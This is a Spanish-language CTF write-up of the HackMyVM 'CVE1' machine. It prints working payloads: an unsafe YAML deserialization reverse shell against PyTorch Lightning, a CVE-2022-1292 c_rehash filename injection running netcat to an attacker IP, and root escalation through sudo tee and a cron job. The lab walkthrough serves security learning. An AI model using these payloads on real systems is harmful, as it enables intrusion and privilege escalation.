cd ~/blog

~/writeups/hmv/112-cve1.md

112 - CVE1

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Unsafe YAML Deserialization RCE en PyTorch LightningOS Command Injection en c_rehash (CVE-2022-1292)Sudo-Allowed Program Abuse mediante tee y una tarea cron privilegiada
hackmyvm.eu/machines/machine.php?vm=CVE1

~2 min de lectura


Enumeración de servicios

El objetivo expone SSH y dos servidores HTTP. El puerto 80 contiene la página predeterminada de Apache, mientras que el 9090 presenta una aplicación cuyo backend debemos identificar:

❯ nmap -sCV -p 22,80,9090 -oN 02-targeted.txt 192.168.1.27
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-10 18:17 -04
Nmap scan report for 192.168.1.27
Host is up (0.00031s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.54 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
9090/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Unsafe YAML Deserialization en PyTorch Lightning

El código del servicio en 9090 revela el framework y su versión en un comentario:

<!--Backend developed with PyTorch Lightning 1.5.9-->

La aplicación procesa YAML mediante una ruta insegura de PyTorch Lightning. En una Unsafe YAML Deserialization, etiquetas como !!python/object/apply dejan de representar datos pasivos y provocan la construcción de objetos Python; el payload usa ese comportamiento para invocar subprocess.Popen y abrir una reverse shell:

- !!python/object/new:yaml.MappingNode
  listitems: !!str '!!python/object/apply:subprocess.Popen [["nc", "-e", "/bin/bash", "192.168.1.5", "1234"]]'
  state:
    tag: !!str dummy
    value: !!str dummy
    extend: !!python/name:yaml.unsafe_load
❯ ncat -nlvp 1234
Ncat: Connection from 192.168.1.27:37398.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

La conexión recibida y la salida de id confirman acceso inicial como www-data.

Movimiento a wicca mediante c_rehash

Durante la enumeración local encontramos dos tareas cron que ejecutan c_rehash como wicca sobre un directorio en el que podemos crear archivos:

www-data@cve-pt1:/etc$ grep -r wicca 2>/dev/null
...
cron.d/cve1:*/1 * * * * wicca c_rehash /etc/ssl/certs/
cron.d/cve1:*/1 * * * * wicca sleep 30; c_rehash /etc/ssl/certs/
...

Las versiones vulnerables de c_rehash construyen comandos de shell a partir de nombres de certificados sin neutralizar correctamente metacaracteres. Esto permite una OS Command Injection identificada como CVE-2022-1292. Creamos un nombre que contiene una sustitución entre backticks; cuando cron procesa el directorio, la shell ejecuta la conexión de retorno con la identidad de wicca:

www-data@cve-pt1:/etc/ssl/certs$ echo "-----BEGIN CERTIFICATE-----" > "pwned.crt\`nc -c bash 192.168.1.5 4321\`"

❯ ncat -nlvp 4321
Ncat: Connection from 192.168.1.27:44074.
script /dev/null -c bash
Script started, output log file is '/dev/null'.
wicca@cve-pt1:/etc/ssl/certs$

Análisis del backup y la tarea cron de root

La nueva shell permite recuperar la primera flag. En el home de wicca encontramos Backup.zip; zip2john extrae un hash atacable y John recupera la contraseña necesaria para revisar su contenido:

❯ zip2john Backup.zip > hash
❯ john -w=/home/wh01s17/Documents/wordlists/rockyou.txt hash
...
secret!          (Backup.zip)
...

El backup contiene 0845.py, que configura PL_TRAINER_GPUS para ejecutar la lista de órdenes guardada en /root/command.txt. pspy confirma que root inicia periódicamente el script y que éste termina ejecutando el archivo de comandos:

...
2024/08/10 18:34:06 CMD: UID=0     PID=45850  | python3 /root/0845.py
2024/08/10 18:34:06 CMD: UID=0     PID=45851  | sh -c bash /root/command.txt
...

La pieza restante es poder escribir ese archivo privilegiado. sudo -l muestra un Sudo-Allowed Program Abuse mediante tee, que recibe datos por la entrada estándar y los guarda con la identidad de root:

wicca@cve-pt1:/tmp$ sudo -l
...
User wicca may run the following commands on cve-pt1:
    (root) NOPASSWD: /usr/bin/tee

Escribimos en /root/command.txt una orden que activa SUID sobre Bash y esperamos la siguiente ejecución de cron:

wicca@cve-pt1:/tmp$ echo "chmod u+s /bin/bash" | sudo tee /root/command.txt

wicca@cve-pt1:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27  2022 /bin/bash
wicca@cve-pt1:/tmp$ bash -p
bash-5.1# whoami
root

El cambio de permisos confirma que cron consumió el archivo controlado. bash -p conserva el EUID privilegiado y whoami confirma el acceso como root.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados